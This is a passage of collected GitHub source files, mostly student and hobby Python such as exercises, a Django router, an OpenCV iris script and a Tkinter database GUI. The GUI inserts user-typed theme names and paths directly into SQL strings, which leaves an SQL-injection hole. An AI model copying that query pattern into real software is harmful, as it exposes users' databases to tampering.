+{"seq_id":"70766158618","text":"import random\n\nf_out = open('out.txt', 'w')\n\nf_out.write(\"\"\"CONNECT '.../students.fdb'\n\nCREATE TABLE marks(\n id INTEGER,\n student_id INTEGER,\n subject_id INTEGER,\n mark INTEGER\n);\n\n\"\"\")\n\nsubject_id = 1\nid = 1\nfor student_id in range(1, 101):\n for c in range(0, 30, 5):\n f_out.write(\"INSERT INTO marks VALUES(%d, %d, %d, %d);\\n\" % (id, student_id, subject_id + c, random.randint(1, 10)))\n id += 1\n subject_id = subject_id + 1 if subject_id < 5 else 1\n","repo_name":"LuckThemAll/DB","sub_path":"StudentsDB/generators/marks generator.py","file_name":"marks generator.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"37032946698","text":"from typing import Optional\n\n\nclass AnilistComicInfo:\n def __init__(\n self,\n tracker_id: int,\n title: str, # userPreferred\n manga_format: str, # format\n status: str,\n description: str,\n country_of_origin: str,\n original_source: str,\n genres: [str],\n writer: Optional[str],\n penciller: Optional[str],\n inker: Optional[str],\n synonyms: [str],\n is_adult: bool,\n site_url: str,\n chapters: Optional[int], # Chapters is null if an ongoing series\n volumes: Optional[int], # Volumes is null if ongoing\n tags: [str]\n ):\n self.tracker_id = tracker_id\n\n self.title = title\n self.altTitles = synonyms\n self.summary = description\n self.genres = \", \".join(genres+tags)\n\n self.status = status.lower()\n self.format = manga_format.lower().replace(\"_\", \" \")\n self.country_of_origin = country_of_origin\n self.original_source = original_source.lower()\n\n if is_adult:\n self.age_rating = \"Adults Only 18+\"\n else:\n self.age_rating = \"G\"\n\n if writer == \"\":\n self.writer = None\n else:\n self.writer = writer\n\n if penciller == \"\":\n self.penciller = None\n else:\n self.penciller = penciller\n\n if inker == \"\":\n self.inker = None\n else:\n self.inker = inker\n\n self.chapters = chapters\n self.volumes = volumes\n\n self.site_url = site_url\n self.scan_information = \"\"\n","repo_name":"curche/MangaManage","sub_path":"models/anilistToComicInfo.py","file_name":"anilistToComicInfo.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"68"}
+{"seq_id":"12338162964","text":"# Welcome to my list project\r\n # لیست اول: نامهای پسر\r\nboys_name_list = [\"Mani\", \"Mohammad\", \"Ali\", \"Amir Hossein\", \"Hossein\", \"Abolfazl\", \"Amir Abbas\", \"Samiyar\", \"Mohammad Taha\", \"Mohammad Reza\"]\r\nfor boys_name in boys_name_list :\r\n print ( boys_name )\r\n\r\n\r\n# لیست دوم: نامهای حیوانات\r\nanimals_list = [\"Lion\", \"Tiger\", \"Elephant\", \"Giraffe\", \"Dolphin\", \"Panda\", \"Kangaroo\", \"Zebra\", \"Cheetah\", \"Penguin\"]\r\nfor animals in animals_list :\r\n print ( animals )\r\n\r\n\r\n# لیست سوم: نامهای شهرها\r\ncities_list = [\"New York\", \"Los Angeles\", \"Paris\", \"Tokyo\", \"London\", \"Sydney\", \"Dubai\", \"Rome\", \"Berlin\", \"Moscow\"]\r\nfor cities in cities_list :\r\n print ( cities )\r\n\r\n\r\n# لیست چهارم: نامهای میوهها\r\nfruits_list = [\"Apple\", \"Banana\", \"Orange\", \"Grapes\", \"Strawberry\", \"Watermelon\", \"Mango\", \"Pineapple\", \"Cherry\", \"Kiwi\"]\r\nfor fruits in fruits_list :\r\n print ( fruits )\r\n\r\n\r\n# لیست پنجم: نامهای رنگها\r\ncolors_list = [\"Red\", \"Blue\", \"Green\", \"Yellow\", \"Purple\", \"Orange\", \"Pink\", \"Brown\", \"Black\", \"White\"]\r\nfor colors in colors_list :\r\n print ( colors )\r\n\r\n\r\n# لیست ششم: نامهای ورزشها\r\nsports_list = [\"Football\", \"Basketball\", \"Tennis\", \"Soccer\", \"Golf\", \"Swimming\", \"Cricket\", \"Baseball\", \"Volleyball\", \"Hockey\"]\r\nfor sports in sports_list :\r\n print ( sports )\r\n\r\n\r\n# لیست هفتم: نامهای میهنها\r\ncountries_list = [\"Iran\", \"USA\", \"France\", \"Japan\", \"UK\", \"Australia\", \"UAE\", \"Italy\", \"Germany\", \"Russia\"]\r\nfor countries in countries_list :\r\n print ( countries )\r\n\r\n\r\n# لیست هشتم: نامهای اساتید\r\nteachers_list = [\"Professor Smith\", \"Dr. Johnson\", \"Professor Lee\", \"Dr. Clark\", \"Professor Brown\", \"Dr. Wilson\", \"Professor Taylor\", \"Dr. Anderson\", \"Professor Harris\", \"Dr. Martin\"]\r\nfor teachers in teachers_list :\r\n print ( teachers )\r\n\r\n\r\n\r\n\r\n# لیست نهم: نامهای ماههای سال\r\nmonths_list = [\"January\", \"February\", \"March\", \"April\", \"May\", \"June\", \"July\", \"August\", \"September\", \"October\"]\r\nfor months in months_list :\r\n print ( months )\r\n\r\n\r\n\r\n# لیست دهم: نامهای ماشینها\r\ncars_list = [\"Toyota\", \"Honda\", \"Ford\", \"Chevrolet\", \"Nissan\", \"BMW\", \"Mercedes-Benz\", \"Audi\", \"Lexus\", \"Tesla\"]\r\nfor cars in cars_list:\r\n print ( cars ) \r\n\r\n\r\n","repo_name":"salehmorovat/my-list","sub_path":"my_list.py","file_name":"my_list.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"42279998821","text":"from django.urls import path, include\nfrom rest_framework.routers import DefaultRouter\n\nfrom monitoring.views import HumiditySampleViewSet, PlantViewSet, get_humidity\n\n\nrouter = DefaultRouter()\nrouter.register('humidity', HumiditySampleViewSet)\nrouter.register('plant', PlantViewSet)\n\nurlpatterns = [\n path('', include(router.urls)),\n path('humiditySamples/', get_humidity),\n]\n","repo_name":"matfij/watering-system-api","sub_path":"api/monitoring/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"86400860256","text":"import numpy as np\nfrom risk.dice import roll_dice\n\n\ndef test_roll_dice():\n for i in range(10):\n results = roll_dice(i)\n assert len(results) == i\n assert all([r > 0 and r < 7 for r in results])\n\n\ndef test_seed():\n np.random.seed(0)\n assert list(roll_dice(3)) == [5, 6, 1]\n","repo_name":"alexdawn/risk","sub_path":"tests/test_dice.py","file_name":"test_dice.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"74228476697","text":"\"\"\"\nYou are given a two-dimensional integer matrix of 1s and 0s. A 1 represents land and 0 represents water, so an island is a group of 1s that are neighboring whose perimeter is surrounded by water. You can assume that the edges of the matrix are surrounded by water.\n\nReturn the area of the largest island in matrix.\nLeetcode: https://leetcode.com/problems/max-area-of-island/\n\"\"\"\nclass Solution:\n \n def dfs(self, grid, r, c):\n grid[r][c] = 0\n num = 1\n lst = [(r-1, c), (r+1, c), (r, c-1), (r, c+1)]\n for row, col in lst:\n if row >= 0 and col >= 0 and row < len(grid) and col < len(grid[0]) and grid[row][col] == 1:\n num += self.dfs(grid, row, col)\n return num\n \n \n def maxAreaOfIsland(self, grid):\n area_islands = 0\n for r in range(len(grid)):\n for c in range(len(grid[0])):\n if grid[r][c] == 1:\n area_islands = max(area_islands, self.dfs(grid, r, c))\n return area_islands","repo_name":"d-jeph/CodeChallenges","sub_path":"maxAreaIsland.py","file_name":"maxAreaIsland.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"15349104050","text":"import cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom scipy import signal as sg\n\nimg = cv2.imread('oko01.png', 0)\n\n\ndef filtration(img, matrix):\n if img.ndim == 2:\n return sg.convolve2d(img, matrix[:, ::-1], \"valid\").astype(\"uint8\")\n if img.ndim == 3:\n res_lst = [sg.convolve2d(img[:, :, x], matrix[:, ::-1], \"valid\") for x in range(img.shape[2])]\n return np.rollaxis(np.array(res_lst), 0, 3).astype(\"uint8\")\n\n\ngauss_matrix = np.array([[0.037, 0.039, 0.04, 0.039, 0.037],\n [0.039, 0.042, 0.042, 0.042, 0.039],\n [0.04, 0.042, 0.043, 0.042, 0.04],\n [0.039, 0.042, 0.042, 0.042, 0.039],\n [0.037, 0.039, 0.04, 0.039, 0.037]])\n\n# img = filtration(img, gauss_matrix)\n\nkernel = np.ones((3, 3), np.uint8)\n_, bin_img_teczowka = cv2.threshold(img, img.mean() / 1.5, 255, cv2.THRESH_BINARY)\n_, bin_img_zrenica = cv2.threshold(img, img.mean() / 4.5, 255, cv2.THRESH_BINARY)\n\nbin_img_teczowka = cv2.morphologyEx(bin_img_teczowka, cv2.MORPH_CLOSE, kernel, iterations=8)\nbin_img_zrenica = cv2.morphologyEx(bin_img_zrenica, cv2.MORPH_CLOSE, kernel, iterations=2)\n\nM = cv2.moments(255 - bin_img_zrenica)\ncX = int(M[\"m10\"] / M[\"m00\"])\ncY = int(M[\"m01\"] / M[\"m00\"])\ncontours, hierarchy = cv2.findContours(bin_img_zrenica, 1, 2)\ncnt = contours[2]\n# cnt = contours[1]\n(x, y), radius = cv2.minEnclosingCircle(cnt)\ncenter = (int(x), int(y))\nradius = int(radius)\nimg = cv2.imread('oko01.png')\nimg = cv2.circle(img, center, radius, (0, 255, 0), 2)\nprint(radius)\ncontours, _ = cv2.findContours(bin_img_teczowka, 1, 2)\ncnt = contours[1]\n(x, y), radius = cv2.minEnclosingCircle(cnt)\ncenter = (int(x), int(y))\nradius = int(radius)\nprint(radius)\n\nimg = cv2.circle(img, center, radius, (0, 0, 255), 2)\n#first option\nimg2 = cv2.linearPolar(img, center=(x, y), maxRadius=52, flags=cv2.WARP_FILL_OUTLIERS)\n#second option\nimg3 = cv2.logPolar(img, center=(x, y), M=52, flags=cv2.WARP_FILL_OUTLIERS)\n\nplt.imshow(img)\nplt.show()\n\nplt.imshow(img2)\nplt.show()\n\nplt.imshow(img3)\nplt.show()\n","repo_name":"Lyudmyla25/Biometria","sub_path":"Lab6/Zad1.py","file_name":"Zad1.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"6498579156","text":"N, K = map(int, input().split())\nN2, K2 = N, K\ncount = 0\n\nwhile N != 1:\n count += 1\n if N % K == 0:\n N /= K \n else:\n N -= 1\n\nprint(count)\n\ncount2 = 0\n#N이 K의 배수가 되도록 한번에 빼기\nwhile True:\n # (N == K로 나누어 떨어지는 수)가 될 때까지 1씩 빼기\n target = (N2 // K2) * K2\n count2 += (N2 - target)\n N2 = target \n # N이 K보다 작을 때 반복문 탈출\n if N2 < K2:\n break\n # N을 K로 나누기\n count2 += 1\n N2 //= K2\n\n# 마지막으로 남은 수에 대하여 1씩 빼기\ncount2 += (N2 - 1)\nprint(count2)","repo_name":"zizudana/python-for-coding-test","sub_path":"이코테예제/3-4.py","file_name":"3-4.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"33261289504","text":"# -*- coding: utf-8 -*-\n\n# pip install -r requirements.txt\n\nfrom astrobox.space_field import SpaceField\nfrom kochetov import KochetovDrone\n# from vader import VaderDrone\n\nif __name__ == '__main__':\n scene = SpaceField(\n speed=3,\n asteroids_count=15,\n )\n\n k = [KochetovDrone() for _ in range(5)]\n scene.go()\n\n\n# Первый этап: зачёт!\n# Второй этап: зачёт!\n","repo_name":"RodjerWilko/learning_base_diplom","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"16027718415","text":"from copy import deepcopy\n\nfrom traitlets import link, directional_link\nimport ipyvuetify as v\nimport sepal_ui.sepalwidgets as sw\n\nfrom component.message import cm\nimport component.widget as cw\nimport component.parameter as cp\n\n\nfrom sepal_ui.frontend.resize_trigger import rt\n\n__all__=[\"StatSettingCard\"]\n\nclass StatSettingCard(cw.Card):\n \"\"\"Statistics settings card. It includes all the required inputs to compute\n and display graphics in the statistics dashboard.\n \"\"\"\n \n def __init__(self, model, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.model = model\n\n title = v.CardTitle(children=[cm.graphs.setting.title])\n\n self.w_variable = sw.Select(\n label=cm.graphs.setting.w_variable.label,\n v_model=\"all\",\n items=[{\"text\": \"All variables\", \"value\": \"all\"}]\n + [\n {\"text\": eval(f\"cm.gfc.{var}\"), \"value\": var}\n for var in list(set(cp.gfc_translation.values()))\n ],\n )\n self.w_years = cw.DateSlider(v_model=self.model.sett_timespan).hide()\n self.w_hybasid = sw.Select(\n label=cm.basin.basinid.label,\n v_model=[],\n items=[],\n small_chips=True,\n multiple=True,\n chips=True,\n deletable_chips=True,\n )\n\n self.children = [\n title,\n self.w_variable,\n self.w_hybasid,\n self.w_years,\n rt,\n ]\n\n # Links\n link((self.w_variable, \"v_model\"), (self.model, \"selected_var\"))\n link((self.w_hybasid, \"v_model\"), (self.model, \"selected_hybasid_chart\"))\n\n # UI Events\n self.w_variable.observe(self.show_years, \"v_model\")\n\n # model Events\n self.w_years.on_event(\"change\", self.years_event)\n self.w_hybasid.observe(self.at_least_one, \"v_model\")\n\n # Fill w_hybasid items when the the zonal statistics area calculated\n self.model.observe(self.fill_items ,\"ready\")\n\n def at_least_one(self, change):\n \"\"\"Deactivate the last item when there is only one selectled. Useful\n to avoid showing up graphs without info\"\"\"\n\n widget = change[\"owner\"]\n new_val = change[\"new\"]\n new_items = deepcopy(widget.items)\n\n if len(widget.v_model) == 1:\n\n idx = [\n item[\"index\"] for item in widget.items if item[\"value\"] == new_val[0]\n ][0]\n\n new_items[idx].update(disabled=True)\n elif len(widget.v_model) >= cp.MAX_CATCH_NUMBER:\n\n for item in widget.items:\n if item[\"value\"] not in new_val:\n new_items[item[\"index\"]].update(disabled=True)\n else:\n\n [item.update(disabled=False) for item in new_items]\n \n widget.items = new_items\n\n def fill_items(self, _):\n \"\"\"Fill w_hybasid items once model.ready is True with the inputs step and select the\n first five(5) elements (arbitrary)\"\"\"\n \n method = self.model.method\n if method == \"all\":\n inputs_selection = self.model.hybasin_list\n else: \n inputs_selection = self.model.selected_hybas\n \n \n # Convert into string to graphic purposes \n self.w_hybasid.items = [\n {\"text\": str(val), \"value\": str(val), \"disabled\": False, \"index\": idx}\n for idx, val in enumerate(inputs_selection)\n ]\n\n self.w_hybasid.v_model = [it[\"value\"] for it in self.w_hybasid.items[:5]]\n \n\n def years_event(self, widget, event, data):\n \"\"\"Workaround event (overriding observe) to avoid double calls in slider.\n it will bind selected years with model data.\n \"\"\"\n\n self.model.sett_timespan = data\n\n def show_years(self, change):\n \"\"\"Hide years selection widget when loss is selected\"\"\"\n\n rt.resize()\n\n if change[\"new\"] == \"loss\":\n self.w_years.show()\n else:\n self.w_years.hide()\n\n \n","repo_name":"sepal-contrib/basin-rivers","sub_path":"component/widget/stat_sett_card.py","file_name":"stat_sett_card.py","file_ext":"py","file_size_in_byte":4066,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"7109031486","text":"\n#https://leetcode.com/problems/valid-sudoku/submissions/\n\nclass Solution:\n def isValidSudoku(self, board: List[List[str]]) -> bool:\n box_hash = collections.defaultdict(set)\n for i in range(len(board)):\n row_hash = set()\n col_hash = set()\n for j in range(len(board[i])):\n if board[i][j] in row_hash and board[i][j] != \".\":\n return False\n row_hash.add(board[i][j])\n\n if board[j][i] in col_hash and board[j][i] != \".\":\n return False\n col_hash.add(board[j][i])\n\n if board[i][j] in box_hash[(i // 3, j // 3)] and board[i][j] != \".\":\n return False\n box_hash[(i // 3, j // 3)].add(board[i][j])\n\n return True\n","repo_name":"aryan619348/DSA_PRACTICE","sub_path":"Arrays and Hashing/Sudoku.py","file_name":"Sudoku.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"3571428757","text":"from tkinter import CENTER, Button, Entry, Label, LabelFrame, Listbox, font, S, N, NE, NW, END, Message, Tk, W, E\nfrom PIL import Image, ImageTk\n\nfrom position import Position\nimport os_tinkering\n\n\n\nLIST_WIDTH = 50 if os_tinkering.getOs() != \"Darwin\" else 25\n\n\nclass GUIMenu:\n\n def __init__(self, app):\n self.widgets = {}\n self.app = app\n self.makeMenu()\n\n\n def addWidget(self, name, widget, position):\n self.widgets[name] = (widget, position)\n\n\n def removeWidget(self, name):\n self.widgets.pop(name)\n\n\n def place(self):\n for widget,pos in self.widgets.values():\n if pos.mode == Position.MODE_RELATIVE:\n widget.place(relx = pos.x, rely = pos.y, anchor = pos.anchor)\n elif pos.mode == Position.MODE_ABSOLUTE:\n widget.place(x = pos.x, y = pos.y, anchor = pos.anchor)\n\n\n def unplace(self):\n for widget, position in self.widgets.values():\n widget.place_forget()\n\n\n def makeMenu():\n pass\n\n\nclass MainMenu(GUIMenu):\n\n def __init__(self, app):\n super().__init__(app)\n\n\n def makeMenu(self):\n\n self.addWidget(\"searchButton\", Button(self.app.gui, text = \"Start\", \n command = lambda : self.app.changeMenu(SearchMenu(self.app), False)), \n Position(0.3, 0.9, Position.MODE_RELATIVE, CENTER))\n self.addWidget(\"instructionsButton\", Button(self.app.gui, text = \"Instructions\", \n command = lambda : self.app.changeMenu(InfoMenu(self.app), False)),\n Position(0.7, 0.9, Position.MODE_RELATIVE, CENTER))\n self.addWidget(\"menuLabel\", Label(self.app.gui, text = \"Welcome to Problem Sorter\", font = font.Font(size = 30)),\n Position(0.5, 0.1, Position.MODE_RELATIVE, CENTER))\n\n self.image = ImageTk.PhotoImage(Image.open(os_tinkering.IMAGE_PATH))\n\n self.addWidget(\"imageLabel\", Label(image = self.image),\n Position(0.5, 0.5, Position.MODE_RELATIVE, CENTER))\n\n \n\nclass SearchMenu(GUIMenu):\n\n def __init__(self, app):\n super().__init__(app)\n\n\n def makeMenu(self):\n \n # TITLE\n self.addWidget(\"menuLabel\", Label(self.app.gui, text = \"Use/Manage Database\", font = font.Font(size = 26)),\n Position(0.5, 0.1, Position.MODE_RELATIVE, CENTER))\n \n # FRAMES\n self.addWidget(\"themesFrame\", LabelFrame(self.app.gui, text = \"Search Options\", height = 300, width = 400, relief = \"sunken\", labelanchor = N, font = font.Font(size = 18)), \n Position(0.05, 0.15, Position.MODE_RELATIVE, NW))\n self.addWidget(\"resultsFrame\", LabelFrame(self.app.gui, text = \"Results\", height = 300, width = 400, relief = \"sunken\", labelanchor = N, font = font.Font(size = 18)), \n Position(0.95, 0.15, Position.MODE_RELATIVE, NE))\n self.addWidget(\"messageFrame\", LabelFrame(self.app.gui, text = \"Messages\", height = 100, width = 700, relief = \"sunken\", labelanchor = N, font = font.Font(size = 18)),\n Position(0.5, 0.68, Position.MODE_RELATIVE, N))\n\n # LEFTSIDE\n self.addWidget(\"themeListLabel\", Label(self.widgets[\"themesFrame\"][0], text = \"Themes\", font = font.Font(size = 14, underline = True)), \n Position(0.08, 0.08, Position.MODE_RELATIVE, W))\n self.addWidget(\"themeList\", Listbox(self.widgets[\"themesFrame\"][0], height = 10, width = LIST_WIDTH, selectmode = \"multiple\"), \n Position(0.5, 0.85, Position.MODE_RELATIVE, S))\n self.addWidget(\"themeEntry\", Entry(self.widgets[\"themesFrame\"][0], relief = \"sunken\"),\n Position(0.5, 0.1, Position.MODE_RELATIVE, CENTER))\n\n self.initializeThemeList()\n\n # RIGHTSIDE\n self.addWidget(\"resultList\", Listbox(self.widgets[\"resultsFrame\"][0], height = 10, width = LIST_WIDTH), \n Position(0.5, 0.85, Position.MODE_RELATIVE, S))\n self.addWidget(\"resultListLabel\", Label(self.widgets[\"resultsFrame\"][0], text = \"Files\", font = font.Font(size = 14, underline = True)),\n Position(0.08, 0.08, Position.MODE_RELATIVE, W))\n self.addWidget(\"pathEntry\", Entry(self.widgets[\"resultsFrame\"][0], relief = \"sunken\"),\n Position(0.5, 0.1, Position.MODE_RELATIVE, CENTER))\n\n self.addWidget(\"message\", Message(self.app.gui, text = \"Awaiting actions\", width = 600),\n Position(0.2, 0.73, Position.MODE_RELATIVE, NW))\n\n # BUTTONS\n self.addWidget(\"lookupButton\", Button(self.app.gui, text = \"Look up\", \n command = self.lookupCommand),\n Position(0.4, 0.9, Position.MODE_RELATIVE, CENTER))\n self.addWidget(\"deleteButton\", Button(self.widgets[\"resultsFrame\"][0], text = \"Remove problem\",\n command = self.removeProblemCommand),\n Position(0.7, 0.925, Position.MODE_RELATIVE, CENTER))\n self.addWidget(\"goBack\", Button(self.app.gui, text = \"Go Back\", \n command = lambda : self.app.changeMenu(MainMenu(self.app), False)), \n Position(0.2, 0.9, Position.MODE_RELATIVE, CENTER))\n self.addWidget(\"search\", Button(self.app.gui, text = \"Search Files\",\n command = self.searchCommand),\n Position(0.6, 0.9, Position.MODE_RELATIVE, CENTER))\n self.addWidget(\"reset\", Button(self.app.gui, text = \"Reset\",\n command = self.resetCommand),\n Position(0.8, 0.9, Position.MODE_RELATIVE, CENTER))\n self.addWidget(\"addThemeButton\", Button(self.widgets[\"themesFrame\"][0], text = \"Add theme\",\n command = self.addThemeCommand),\n Position(0.3, 0.925, Position.MODE_RELATIVE, CENTER))\n self.addWidget(\"removeThemeButton\", Button(self.widgets[\"themesFrame\"][0], text = \"Remove theme\", \n command = self.removeThemeCommand),\n Position(0.7, 0.925, Position.MODE_RELATIVE, CENTER))\n self.addWidget(\"addProblemButton\", Button(self.widgets[\"resultsFrame\"][0], text = \"Add problem\", \n command = self.addProblemCommand),\n Position(0.3, 0.925, Position.MODE_RELATIVE, CENTER))\n\n\n def resetCommand(self):\n\n resultList = self.widgets[\"resultList\"][0]\n themeEntry = self.widgets[\"themeEntry\"][0]\n pathEntry = self.widgets[\"pathEntry\"][0]\n message = self.widgets[\"message\"][0]\n\n themeEntry.delete(0, END)\n pathEntry.delete(0, END)\n message.configure(text = \"Awaiting actions\")\n resultList.delete(0, END)\n\n\n def initializeThemeList(self):\n\n getThemesQuery = \"SELECT name FROM Theme;\"\n themeList = self.widgets[\"themeList\"][0]\n\n themeList.delete(0, END)\n\n for line in self.app.db.execute(getThemesQuery):\n themeList.insert(0, line[0])\n\n \n def addThemeCommand(self):\n \n themeEntry = self.widgets[\"themeEntry\"][0]\n theme = self.widgets[\"themeEntry\"][0].get()\n\n themeEntry.delete(0, END)\n insertThemes = \"INSERT INTO Theme (name) VALUES('{theme}');\"\n self.app.db.execute(insertThemes.format(theme = theme))\n self.initializeThemeList()\n self.widgets[\"message\"][0].configure(text = \"Theme added to database\")\n\n \n def removeThemeCommand(self):\n\n themeList = self.widgets[\"themeList\"][0]\n removeTheme = \"DELETE FROM Theme WHERE name = '{theme}';\"\n removeTheme2 = \"DELETE FROM ProblemTheme WHERE EXISTS (SELECT * FROM Theme WHERE id = themeId AND name = '{theme}');\"\n\n for i in themeList.curselection():\n theme = themeList.get(0, END)[i]\n self.app.db.execute(removeTheme2.format(theme = theme))\n self.app.db.execute(removeTheme.format(theme = theme))\n\n self.initializeThemeList()\n self.widgets[\"message\"][0].configure(text = \"Theme removed from database\")\n\n\n def lookupCommand(self):\n\n if len(self.widgets[\"resultList\"][0].curselection()) <= 0:\n self.widgets[\"message\"][0].configure(text = \"No files selected. Please select a file\")\n return\n\n\n fileName = self.widgets[\"resultList\"][0].get(0, END)[self.widgets[\"resultList\"][0].curselection()[0]]\n os_tinkering.getFile(fileName)\n \n\n def searchCommand(self):\n\n themeList = self.widgets[\"themeList\"][0]\n resultList = self.widgets[\"resultList\"][0]\n resultSet = set()\n\n query = \"SELECT location FROM Problem;\"\n for path in self.app.db.execute(query):\n resultSet.add(path[0])\n \n if len(themeList.curselection()) > 0:\n query = \"SELECT Problem.location FROM Problem JOIN ProblemTheme JOIN Theme ON Theme.id = ProblemTheme.themeID AND Problem.id = ProblemTheme.problemId AND Theme.name = '{theme}'\"\n for i in themeList.curselection():\n theme = themeList.get(0, END)[i]\n tempSet = set()\n for path in self.app.db.execute(query.format(theme = theme)):\n tempSet.add(path[0])\n resultSet = resultSet.intersection(tempSet)\n\n resultList.delete(0, END)\n\n for path in resultSet:\n resultList.insert(0, path)\n\n self.widgets[\"message\"][0].configure(text = \"Presenting search results\")\n\n\n def removeProblemCommand(self):\n\n if len(self.widgets[\"resultList\"][0].curselection()) <= 0:\n self.widgets[\"message\"][0].configure(text = \"No files selected. Please select a file\")\n return\n\n fileName = self.widgets[\"resultList\"][0].get(0, END)[self.widgets[\"resultList\"][0].curselection()[0]]\n\n query1 = \"DELETE FROM ProblemTheme WHERE ProblemTheme.problemId = (SELECT id FROM Problem WHERE location = '{filename}');\"\n query2 = \"DELETE FROM Problem WHERE location = '{filename}';\"\n\n self.app.db.execute(query1.format(filename = fileName))\n self.app.db.execute(query2.format(filename = fileName))\n\n self.searchCommand()\n self.widgets[\"message\"][0].configure(text = \"File successfully removed from the database\")\n\n\n def addProblemCommand(self):\n \n themeList = self.widgets[\"themeList\"][0]\n\n if len(themeList.curselection()) <= 0:\n self.widgets[\"message\"][0].configure(text = \"No themes selected. Please, select a theme from the theme list\")\n return\n\n path = self.widgets[\"pathEntry\"][0].get()\n insertProblem = \"INSERT INTO Problem (location) VALUES('{path}');\".format(path = path)\n insertPT = \"INSERT INTO ProblemTheme (themeId, problemId) VALUES({idT}, {idP});\"\n getThemeIds = \"SELECT id FROM Theme WHERE name = '{theme}';\"\n getProblemId = \"SELECT id FROM Problem WHERE location = '{path}';\".format(path = path)\n\n self.app.db.execute(insertProblem)\n \n themeIds = set()\n\n for i in themeList.curselection():\n theme = themeList.get(0, END)[i]\n themeIds.add(self.app.db.execute(getThemeIds.format(theme = theme))[0][0])\n\n problemId = self.app.db.execute(getProblemId)[0][0]\n\n for i in themeIds:\n self.app.db.execute(insertPT.format(idT = i, idP = problemId))\n\n self.resetCommand()\n\n self.widgets[\"message\"][0].configure(text = \"Database successfully updated\")\n\n \n\n\nclass InfoMenu(GUIMenu):\n\n def __init__(self, app):\n super().__init__(app)\n\n\n def makeMenu(self):\n self.addWidget(\"menuLabel\", Label(self.app.gui, text = \"Instructions\", font = font.Font(size = 26)),\n Position(0.5, 0.1, Position.MODE_RELATIVE, CENTER))\n self.addWidget(\"message\", Message(self.app.gui, width = 800, text = \" - You can search for exercises/exams containing exercises that associate with the themes you selected on the theme list by pressing the 'Search' button.\" +\n \" If no theme is selected, the search will retrieve all file paths registered in the database.\" +\n \" When multiple themes are selected, the files presented are the ones which associate with all of the selected themes.\\n\\n\" + \n \" - You can add new themes by entering their name in the left entry box and pressing the 'Add theme' button. Eliminating them is done by selecting from the theme list the themes you desired to remove and hitting the 'Remove theme' button.\\n\\n\" + \n \" - Adding new file paths to the system is done in a similar manner, but you are required to select the themes you want to associate with the file prior to clicking the 'Add problem' button. For one file, multiple themes can be selected.\\n\\n\" + \n \" - If you want to associate a file with one or more new themes, just type the name of the file and proceed as you would to add a new file.\\n\\n\" + \n \" - Reset buttons serve to reset the menu to its initial state, deleting the results of a search for example.\", \n font = font.Font(family = \"Arial\", size = 14)),\n Position(0.1, 0.2, Position.MODE_RELATIVE, NW))\n self.addWidget(\"goBack\", Button(self.app.gui, text = \"Go Back\", \n command = lambda : self.app.changeMenu(MainMenu(self.app), False)), \n Position(0.2, 0.9, Position.MODE_RELATIVE, CENTER))\n\n","repo_name":"marhcouto/problem-sorter","sub_path":"src/gui_menu.py","file_name":"gui_menu.py","file_ext":"py","file_size_in_byte":13326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"5476871425","text":"from collections import Counter\n\n\ninitial_polymer = \"KFVHFSSVNCSNHCPCNPVO\"\n\ninsertion_rules = {\n \"KS\": \"O\",\n \"SP\": \"V\",\n \"OH\": \"F\",\n \"VC\": \"P\",\n \"BO\": \"S\",\n \"CV\": \"H\",\n \"FO\": \"N\",\n \"KV\": \"V\",\n \"OV\": \"B\",\n \"NB\": \"K\",\n \"FS\": \"F\",\n \"KB\": \"N\",\n \"HK\": \"C\",\n \"VP\": \"B\",\n \"SV\": \"S\",\n \"FP\": \"P\",\n \"BS\": \"B\",\n \"BP\": \"K\",\n \"OS\": \"K\",\n \"PB\": \"C\",\n \"HB\": \"H\",\n \"VN\": \"S\",\n \"FB\": \"C\",\n \"OC\": \"N\",\n \"OO\": \"F\",\n \"PC\": \"O\",\n \"FK\": \"K\",\n \"OP\": \"V\",\n \"BH\": \"C\",\n \"NP\": \"C\",\n \"KF\": \"H\",\n \"SK\": \"F\",\n \"HN\": \"O\",\n \"CB\": \"O\",\n \"SN\": \"N\",\n \"VF\": \"S\",\n \"KC\": \"H\",\n \"HF\": \"V\",\n \"NC\": \"P\",\n \"BN\": \"F\",\n \"KO\": \"C\",\n \"PS\": \"B\",\n \"HO\": \"S\",\n \"CH\": \"O\",\n \"KP\": \"K\",\n \"VK\": \"V\",\n \"BB\": \"V\",\n \"BF\": \"P\",\n \"CS\": \"K\",\n \"CN\": \"H\",\n \"PK\": \"C\",\n \"SH\": \"O\",\n \"BC\": \"H\",\n \"FN\": \"N\",\n \"BK\": \"N\",\n \"PN\": \"B\",\n \"PO\": \"O\",\n \"SC\": \"S\",\n \"NO\": \"S\",\n \"KN\": \"O\",\n \"VB\": \"C\",\n \"SF\": \"H\",\n \"FH\": \"C\",\n \"FF\": \"B\",\n \"VO\": \"S\",\n \"PH\": \"F\",\n \"CK\": \"B\",\n \"FC\": \"P\",\n \"VV\": \"F\",\n 